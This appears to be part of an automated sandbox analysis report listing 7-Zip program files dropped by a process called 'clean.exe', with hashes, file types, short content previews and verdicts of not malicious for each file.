                                                                                                                                                                                                                                                                  SHA-512:2C80CEDB2172DEAD78A283AB45941DBDC647AD2BB99440E7B7E844DE22C1C279070CC96034CBD2E41E4D0390B60B08A69D57AE0649EE27CA0D2A587DF97F0636
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Antivirus:
                                                                                                                                                                                                                                                                  • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......4..sp. p. p. .|. e. p. .. .|. r. .|. .. .|. b. k|< q. .|. q. .|. q. Richp. ................PE..d...@..Z.........."..........4................@..............................0............`..............................................................]...0..\|..............(.......................................................`............................text... ........................... ..`.rdata..F...........................@..@.data....1..........................@....pdata..\|...0...~..................@..@.rsrc....].......^...Z..............@..@.reloc..~...........................@..B........................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip64\History.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):48215
                                                                                                                                                                                                                                                                  Entropy (8bit):4.878027168112114
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:768:9bPNHGco4PPbiZ0OOeVC0vk90HOYssYK2:1o4PzSxOeVk90un/K2
                                                                                                                                                                                                                                                                  MD5:E0836588DA17DA632B82CC2FDDE59E98
                                                                                                                                                                                                                                                                  SHA1:5297A48A7094CB612939C64357F3A90022962DAB
                                                                                                                                                                                                                                                                  SHA-256:E9DF6E89D90AD03C0FC5D6165A7C1B32C338E40DC8EA92BBEC55C5409A44F526
                                                                                                                                                                                                                                                                  SHA-512:A57C9B40143AF05E16ABA427FA538ACA8798D9834111ECF05F7053E0B917F60CCBB8773A9B54BB242F10EB1B08B86EA7DFB90AE7B9D1FD9F53E0925C90F58504
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:HISTORY of the 7-Zip..--------------------....18.05 2018-04-30..-------------------------..- The speed for LZMA/LZMA2 compressing was increased .. by 8% for fastest/fast compression levels and .. by 3% for normal/maximum compression levels...- 7-Zip now shows Properties (Info) window and CRC/SHA results window.. as "list view" window instead of "message box" window...- Some improvements in zip, hfs and dmg code...- Previous versions of 7-Zip could work incorrectly in "Large memory pages" mode in.. Windows 10 because of some BUG with "Large Pages" in Windows 10. .. Now 7-Zip doesn't use "Large Pages" on Windows 10 up to revision 1709 (16299)...- The vulnerability in RAR unpacking code was fixed (CVE-2018-10115)...- Some bugs were fixed... ....18.03 beta 2018-03-04..-------------------------..- The speed for single-thread LZMA/LZMA2 decoding.. was increased by 30% in x64 version and by 3% in x86 version...- 7-Zip now can use multi-threading for 7z/LZMA2 decoding,..

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip64\License.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):3990
                                                                                                                                                                                                                                                                  Entropy (8bit):5.042197478409183
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:96:dulTu+xS0jaXU9zBOrYJ2rYJk9n3O3zOrTmxz0NxrVwA:sTuoS0gUTOrs2rsQn3O3SvmxQN7wA
                                                                                                                                                                                                                                                                  MD5:F23277F79FCC3C4A08CBB1F2C47603E9
                                                                                                                                                                                                                                                                  SHA1:9D18FF80F5C95578958ED1EEFD54F6040DB8E720
                                                                                                                                                                                                                                                                  SHA-256:082F368FBC0016D0078E4B7AF781F858C9245CFC888F3E89FAD24620FD64C40E
                                                                                                                                                                                                                                                                  SHA-512:DF27C6CDBD162C6ABE8BA0A64ACAD5AB6A4F9AF47602CCE050C30DF8D04DC532524EE073B9DDAA29C95178427FDC4E47C1EE253C1D79B0F217205EB7B6D4DC27
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview: 7-Zip.. ~~~~~.. License for use and distribution.. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~.... 7-Zip Copyright (C) 1999-2018 Igor Pavlov..... The licenses for files are:.... 1) 7z.dll:.. - The "GNU LGPL" as main license for most of the code.. - The "GNU LGPL" with "unRAR license restriction" for some code.. - The "BSD 3-clause License" for some code.. 2) All other files: the "GNU LGPL"..... Redistributions in binary form must reproduce related license information from this file..... Note:.. You can use 7-Zip on any computer, including a computer in a commercial.. organization. You don't need to register or pay for 7-Zip....... GNU LGPL information.. --------------------.... This library is free software; you can redistribute it and/or.. modify it under the terms of the GNU Lesser General Public.. License as published by the Free Software Foundation; either.. version 2.1 of the License, or (at your option) any later version..... Thi

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip64\descript.ion

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):366
                                                                                                                                                                                                                                                                  Entropy (8bit):4.850296649357081
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:6:erK7MYoNHyQLPzXP+USQV7ZiKvwo7/qP5SiEQkXP6ZzeBVOkYBNWeR/W7jGPhrVC:CYkHt/PHVqo7I5s/EWO/NhNWePh0
                                                                                                                                                                                                                                                                  MD5:EB7E322BDC62614E49DED60E0FB23845
                                                                                                                                                                                                                                                                  SHA1:1BB477811ECDB01457790C46217B61CB53153B75
                                                                                                                                                                                                                                                                  SHA-256:1DA513F5A4E8018B9AE143884EB3EAF72454B606FD51F2401B7CFD9BE4DBBF4F
                                                                                                                                                                                                                                                                  SHA-512:8160B581A3F237D87E664D93310F5E85A42DF793B3E22390093F9FB9A0A39950BE6DF2A713B55259FCE5D5411D0499886A8039288D9481B4095FABADDDBEBB60
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:7-zip.chm 7-Zip Help..7-Zip.dll 7-Zip Plugin..7-Zip32.dll 7-Zip Plugin 32-bit..7z.dll 7-Zip Engine..7z.exe 7-Zip Console ..7z.sfx 7-Zip GUI SFX..7zCon.sfx 7-Zip Console SFX..7zFM.exe 7-Zip File Manager..7zg.exe 7-Zip GUI..descript.ion 7-Zip File Descriptions..history.txt 7-Zip History..Lang 7-Zip Translations..license.txt 7-Zip License..readme.txt 7-Zip Overview..

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip64\readme.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):1698
                                                                                                                                                                                                                                                                  Entropy (8bit):4.95656764379379
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:24:7ywJx4ir0GPLwhuqSGSLdyHal8xs8T95LvNigwJa9YlbQGL6rZgU7ZT4sUdJrt:7yw4qXchL6Ld0p7T9dvkgwJa9e8G4a
                                                                                                                                                                                                                                                                  MD5:5AD5252A475D3AEE6DA6862DBE30E559
                                                                                                                                                                                                                                                                  SHA1:A68D0EC8ED8CC08EDAE40595F451631A5F98D665
                                                                                                                                                                                                                                                                  SHA-256:AFC324ADC0769DFCB1F00294B1972B76A2830D08299624B1EC15766303086115
                                                                                                                                                                                                                                                                  SHA-512:08530F3A1D8C36AE0D85665B73FF86D0F904DA8F62878B58827A32C2D20759B4434BBD77EE896D05CCC834618C8FF4D730031B5B94218A1AEB5A3A9F13022368
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:7-Zip 18.04 beta..----------------....7-Zip is a file archiver for Windows.....7-Zip Copyright (C) 1999-2018 Igor Pavlov.....The main features of 7-Zip: .... - High compression ratio in the new 7z format.. - Supported formats:.. - Packing / unpacking: 7z, XZ, BZIP2, GZIP, TAR, ZIP and WIM... - Unpacking only: AR, ARJ, CAB, CHM, CPIO, CramFS, DMG, EXT, FAT, GPT, HFS,.. IHEX, ISO, LZH, LZMA, MBR, MSI, NSIS, NTFS, QCOW2, RAR, .. RPM, SquashFS, UDF, UEFI, VDI, VHD, VMDK, XAR and Z... - Fast compression and decompression.. - Self-extracting capability for 7z format.. - Strong AES-256 encryption in 7z and ZIP formats.. - Integration with Windows Shell.. - Powerful File Manager.. - Powerful command line version.. - Localizations for 85 languages......7-Zip is free software distributed under the GNU LGPL (except for unRar code)...Read License.txt for more information about license....... This distribution package contains the follow

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7-zip.chm

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:MS Windows HtmlHelp Data
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):108058
                                                                                                                                                                                                                                                                  Entropy (8bit):7.866461373661537
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:3072:v1TjFbeCiFPL896Zp9pQ+5zDo2H1MsEHyrjNGo:v19iCYgA9InwQo
                                                                                                                                                                                                                                                                  MD5:7AECD9C82FA4D40B4CD8CCFD95637F17
                                                                                                                                                                                                                                                                  SHA1:422ED72F8606ABB2DA1F93683333D887C2600F6D
                                                                                                                                                                                                                                                                  SHA-256:609741A35453535DCC413532D835FDB91127F84359F18C3EAAC760327D954B17
                                                                                                                                                                                                                                                                  SHA-512:92A20C8789F111F2DB4134091F8B5BF042A502351626BFC28206611C2E6E70C491305A98E5BC7C200652CFF90170F5DD26FBE1E9379AD9D04067857195CDA39C
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:ITSF....`.......N..q.......|.{.......".....|.{......."..`.......(..............T ..............................................,...................j..].!......."..T.....................U.n.c.o.m.p.r.e.s.s.e.d.....M.S.C.o.m.p.r.e.s.s.e.d...{.7.F.C.2.8.9.4.0.-.9.D.3.1.-.1.1.D.0..w..........LZXC......................P...Q.P#..O....B.B...VMR..hj.E.V[...?..D...x....H.]E5t.R.....+...0....}.nk...............@.~.....{n.9....{..Y.&..O.#k.o...=.7..up..Y;..i.c..dH..G&..{.B...F......mA...?. ..3.PTU...n9.,J...........1 ..}..d;*.t.....I..V...............E.+w]...rW....w.+.]W..s..^i%&.U.eJ...v...cm_Y^..ac.Y`^d.$..^\._........d..\!.....Kn.).PN)....e]\^Z.).d2.m.o...M.\...%a..[.W..Ld.g_W.q)....?.2+E.U.H.L.Z..9.K$./._.e.^ceZP...6y0...2...61.........M.......5M/J<&.I...,..&X..W.%Z_-..}Q....Be<...<f[.^S..]9..bO....g....s...........*..V.].k....90.$.V...O3,.l[...Vk?.2.....E..$...[...u.n%/...\/$......c....I.%+...s.=F....-kR?..}./..S.2..M..g..$.K$.:#!.A.|!...m.....

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7-zip.dll

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):49664
                                                                                                                                                                                                                                                                  Entropy (8bit):6.009164926509896
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:768:/mDyNPrizk4xI/v27XLTNI3GnWDEh1jlly608JLwhFb9tGo4MIvG3Mhs9Zo0y1N:OD+fn1GnWgl8Awjb9tX9IVhs91yT
                                                                                                                                                                                                                                                                  MD5:437EE036816E0765374D550DFA21F71E
                                                                                                                                                                                                                                                                  SHA1:D3240F305EE00D8B35DD1F0E5AF4A2E2815C7E64
                                                                                                                                                                                                                                                                  SHA-256:2B615798C36B1996093D44E77EB5306B4DB9260546CE5AA2D3F7DDE23476586B
                                                                                                                                                                                                                                                                  SHA-512:358BA9E826828A1737A68C2105EE2D992DDBBA5959BBB072800A25CAA1B1BD0766BBFB61A6137852282D505678D786AADBDE7D51D18EE95836AF7B3F775BB02C
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Antivirus:
                                                                                                                                                                                                                                                                  • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......+..Lo...o...o.......n.....h.......k.......m......m...o........`......n...Y...H...t...n.......n.......n...Richo...................PE..L...@..Z...........!.....x...F.......~....................................................@.................................4...........................................................................................H............................text...:w.......x.................. ..`.rdata.."(.......*...|..............@..@.data...,...........................@....sxdata.............................@....rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.dll

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):1137152
                                                                                                                                                                                                                                                                  Entropy (8bit):6.59564132350113
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:24576:Mj9we2ZewSbcRPVRmbPT1DW7k+7r7u7aU6TEL7rn+aUiEgrlfMLBez+:Mj0AqRPVRmbPT1DGBr7arnzhppEIz
                                                                                                                                                                                                                                                                  MD5:04E4F293970589EAD1DC19FC8BE60C92
                                                                                                                                                                                                                                                                  SHA1:9CCF48BCE8CD04B2BCE5EB7B35E5E23B264FF70A
                                                                                                                                                                                                                                                                  SHA-256:6CD22F513CE36B4727BB6C353C58182C7CC8A14CBE3EEFDCA85C2A25906A0077
                                                                                                                                                                                                                                                                  SHA-512:C4CDBFF5E295A516EAB64433C16AF3CEF7EBEC9D056CE8732B681FD37DEAF389BC9655052EC3E06D14CA3353EBB547EF8EBD5BC78F8083B6D04EEE2D9450F616
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Antivirus:
                                                                                                                                                                                                                                                                  • Antivirus: ReversingLabs, Detection: 2%
                                                                                                                                                                                                                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......T.2Y.w\..w\..w\..hW..w\..kR..w\..hV..w\..hX..w\......w\..w].pw\......w\.&QW..w\.&QV..w\.....5w\......w\..qZ..w\..WX..w\.Rich.w\.................PE..L...@..Z...........!.....r...f............................................... ............@.........................@`..y...TY..d........{.......................{......................................................T............................text....q.......r.................. ..`.rdata...............v..............@..@.data........p.......H..............@....sxdata..............N..............@....rsrc....{.......|...P..............@..@.reloc.............................@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exe

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:PE32 executable (console) Intel 80386, for MS Windows
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):289792
                                                                                                                                                                                                                                                                  Entropy (8bit):6.5017712222462825
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:6144:R7fK/4HEQqqKb+oadTxoCJ4P/9IVdZ4qzg9/yDOyQS5NIvPypBpOL34du1v2XywI:R7y8Ah0Hs/SCMOyF5Vk1vs0D
                                                                                                                                                                                                                                                                  MD5:77E556CDFDC5C592F5C46DB4127C6F4C
                                                                                                                                                                                                                                                                  SHA1:9289A79A81E008F349CB05CB851AE5EAEF24B94A
                                                                                                                                                                                                                                                                  SHA-256:034ECA579F68B44F8F41294D8C9DAC96F032C57DEE0877095DA47913060DFF84
                                                                                                                                                                                                                                                                  SHA-512:D2D83056BD4CA654BBF69FE17E1FCAD19C3E813D0243E629A29F04B8E375DCE278839C21FC18D5E06FF95B76DEB574F8C09E50DEF0B52A81D65ACDB69C0D6D5C
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Antivirus:
                                                                                                                                                                                                                                                                  • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........3...R..R..R...N..R...M..R...N..R...M..R...M..R...Z..R..R...R...Z..R..t...R...9.R.....R..VT..R..Rich.R..........................PE..L...@..Z.................j... .......:............@.......................................@.................................4,..x................................,...................................................................................text...2h.......j.................. ..`.rdata...............n..............@..@.data...P'...@.......&..............@....sxdata......p.......,..............@....rsrc...............................@..@.reloc..05.......6...6..............@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.sfx

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):205824
                                                                                                                                                                                                                                                                  Entropy (8bit):6.419187719760311
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:6144:OnqKQ2Oq3ScuA05A+O4PlDfZIkbaRF30z:Uqhq3M5A+XfhaD3
                                                                                                                                                                                                                                                                  MD5:11E4AAAEB592745585B2AEE4ECDB4F00
                                                                                                                                                                                                                                                                  SHA1:CDE4774C62BEEB03B9AC24824D5C61C39384FB17
                                                                                                                                                                                                                                                                  SHA-256:4976436F15AB015396176883F7D3E4E22EC97BB3DDF9E4F5F4234909BC23C03E
                                                                                                                                                                                                                                                                  SHA-512:6044FC6FDA9DFDA4A2DBC7620F2D9A3D205610745F459017705A737A94CECAB1EEBEF18E0B92FEDABA5F5E559BEF13755BB1E7A3300CB8A2E40EAF32A831A0A6
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Antivirus:
                                                                                                                                                                                                                                                                  • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........B.i...i...i...v...i..>u...i...v...i...v...i..3a...i...i...i..>a...i...O...i...O...i....i..i....]..i..zo...i..Rich.i..........PE..L...@..Z........../..................v............@.........................................................................$............ ..............................................................................4............................text.............................. ..`.rdata...d.......f..................@..@.data...<E... ......................@....sxdata......p......................@....rsrc.... ......."..................@..@........................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7zCon.sfx

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:PE32 executable (console) Intel 80386, for MS Windows
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):186368
                                                                                                                                                                                                                                                                  Entropy (8bit):6.488362860757114
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:3072:wpbsWuNyXkkbwh+X96e2MCQdoyF7ytmlrUjJXaQSchp6Pa/jrrehLMUsFjZOY:2bdJY8RqmlrUJXaQJfcaryMUs5ZO
                                                                                                                                                                                                                                                                  MD5:9BD77404DD2D6AF59AA0BD30897F3A73
                                                                                                                                                                                                                                                                  SHA1:A642402DAB7F519322C3A4E78BCCD653FE090B69
                                                                                                                                                                                                                                                                  SHA-256:F0ED1212E0ACCD07685E58832B801662A4BBBB4318D31015485CFA97BDB5D3CB
                                                                                                                                                                                                                                                                  SHA-512:1347C8D30E0174E8ABA595DA921B4372226D57C418A4C123184BA90F0BA01D45ADF084628FD3B9B9C152D49FB43495088367D335DC3AE3879652A4C1D4B40931
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Antivirus:
                                                                                                                                                                                                                                                                  • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........N.../.../.../...0.../..x3.../...0.../...0.../..u'../.../.../..x'../......./......./....../...0../..<).../..Rich./..................PE..L...@..Z........../......`...........J.......p....@..........................P..............................................D...d....@...............................................................................p...............................text...._.......`.................. ..`.rdata...b...p...d...d..............@..@.data...<F..........................@....sxdata......0......................@....rsrc........@......................@..@................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7zFM.exe

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):532992
                                                                                                                                                                                                                                                                  Entropy (8bit):6.363998807975875
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:12288:7tYS8WCrPoJ6wv+7H2JMdol6kV0cPKN3:WS8WCrwJ6wW7bdol6I0cq3
                                                                                                                                                                                                                                                                  MD5:CE4C1735A21CE58A5C9BCE2F7BEF656C
                                                                                                                                                                                                                                                                  SHA1:A636B2E6A86336E33DCDA53E944FC61CB24586C3
                                                                                                                                                                                                                                                                  SHA-256:09B9755A69BD43A035E9D77CC1EAF3B59F77E647D4981AFB28C3D16A6F328892
                                                                                                                                                                                                                                                                  SHA-512:A2D5D9C91F2D83A62216506157F4E9D9EEF88ABA684F90F82190D10F2FCF46289F2C5C9ECD0321F972D0DC422A7A2C2BE834FE1F507281C4CC2FAA889E03D0CD
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Antivirus:
                                                                                                                                                                                                                                                                  • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............Q..Q..QM..Q..Q...Q..Q...Q..Q...Q..Q@..Q..Q@..Q..Q..Q.QM..Q..Q...Q_..Q..:Q..Q...Q..QRich..Q........................PE..L...@..Z.....................j.......G............@..........................`............@.................................l........0...........................S...................................................................................text...R........................... ..`.rdata..z9.......:..................@..@.data...............................@....sxdata...... ......................@....rsrc........0......................@..@.reloc...d.......f..................@..B........................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7zG.exe

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):363008
                                                                                                                                                                                                                                                                  Entropy (8bit):6.352723251188123
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:6144:WKgB/qyIq0xbA5SqlXD74yAI4tZIC5Crx1qU8wiyrX587SVI3+h:WKQy+2FqlXPtAI4zIJV8wiOdZ
                                                                                                                                                                                                                                                                  MD5:4C5DEFC279EB6810C2F2E3615B788190
                                                                                                                                                                                                                                                                  SHA1:62B599165AFD7E8BB692F8CFCFBB39A375D0908B
                                                                                                                                                                                                                                                                  SHA-256:027676EE47E0B1BFEA03D942AF0401B0A48F7BA8B5BC5046C0A5AFD60D51C36A
                                                                                                                                                                                                                                                                  SHA-512:B22129556128F105D6DBB19944198D5BE058307118095FCE817EB1FD530729373990E14E45B524D202FBFF6D5AB87F79DE7CABDAAE638280578295110F21A7BB
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Antivirus:
                                                                                                                                                                                                                                                                  • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......G......E...E...Ex..E...El..E...E...E...El..E...El..E...E...E...E...E...E...E..E...E...E5..Eg..E...E...E..:E...E..E...ERich...E................PE..L...@..Z..................................... ....@.......................................@.................................l........@...]......................`6................................................... ...............................text............................... ..`.rdata....... ......................@..@.data...0'..........................@....sxdata......0......................@....rsrc....]...@...^..................@..@.reloc...A.......B...H..............@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\History.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):48215
                                                                                                                                                                                                                                                                  Entropy (8bit):4.878027168112114
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:768:9bPNHGco4PPbiZ0OOeVC0vk90HOYssYK2:1o4PzSxOeVk90un/K2
                                                                                                                                                                                                                                                                  MD5:E0836588DA17DA632B82CC2FDDE59E98
                                                                                                                                                                                                                                                                  SHA1:5297A48A7094CB612939C64357F3A90022962DAB
                                                                                                                                                                                                                                                                  SHA-256:E9DF6E89D90AD03C0FC5D6165A7C1B32C338E40DC8EA92BBEC55C5409A44F526
                                                                                                                                                                                                                                                                  SHA-512:A57C9B40143AF05E16ABA427FA538ACA8798D9834111ECF05F7053E0B917F60CCBB8773A9B54BB242F10EB1B08B86EA7DFB90AE7B9D1FD9F53E0925C90F58504
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:HISTORY of the 7-Zip..--------------------....18.05 2018-04-30..-------------------------..- The speed for LZMA/LZMA2 compressing was increased .. by 8% for fastest/fast compression levels and .. by 3% for normal/maximum compression levels...- 7-Zip now shows Properties (Info) window and CRC/SHA results window.. as "list view" window instead of "message box" window...- Some improvements in zip, hfs and dmg code...- Previous versions of 7-Zip could work incorrectly in "Large memory pages" mode in.. Windows 10 because of some BUG with "Large Pages" in Windows 10. .. Now 7-Zip doesn't use "Large Pages" on Windows 10 up to revision 1709 (16299)...- The vulnerability in RAR unpacking code was fixed (CVE-2018-10115)...- Some bugs were fixed... ....18.03 beta 2018-03-04..-------------------------..- The speed for single-thread LZMA/LZMA2 decoding.. was increased by 30% in x64 version and by 3% in x86 version...- 7-Zip now can use multi-threading for 7z/LZMA2 decoding,..

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\af.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):5176
                                                                                                                                                                                                                                                                  Entropy (8bit):4.970752405272288
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:96:iK00ZIftkF4Mb/u1tqnukGmaQ7pwNSSzBx5c1IzEHmgSnMlGqrYy:iCIftu4I/u1onPGmaopwNhVXc16EHEM/
                                                                                                                                                                                                                                                                  MD5:FBBE51ACB879B525CC6B19D386697924
                                                                                                                                                                                                                                                                  SHA1:A030539BFE976E02F9540993E746C35E288834CD
                                                                                                                                                                                                                                                                  SHA-256:3793FB69EE9FD958CF15A272B1ED54E4B3D75592836EBCD085DC0E7B1400D1CB
                                                                                                                                                                                                                                                                  SHA-512:3FEE44A909CAD9B620FDD850A31D70E762A834524D8ED61490E243C8DF40EAEBD5B8E0EE5243EFD924714E49376EAA024B8ED4BC70B1B7D50D5C6695B03F12BE
                                                                                                                                                                                                                                                                  Malicious:false
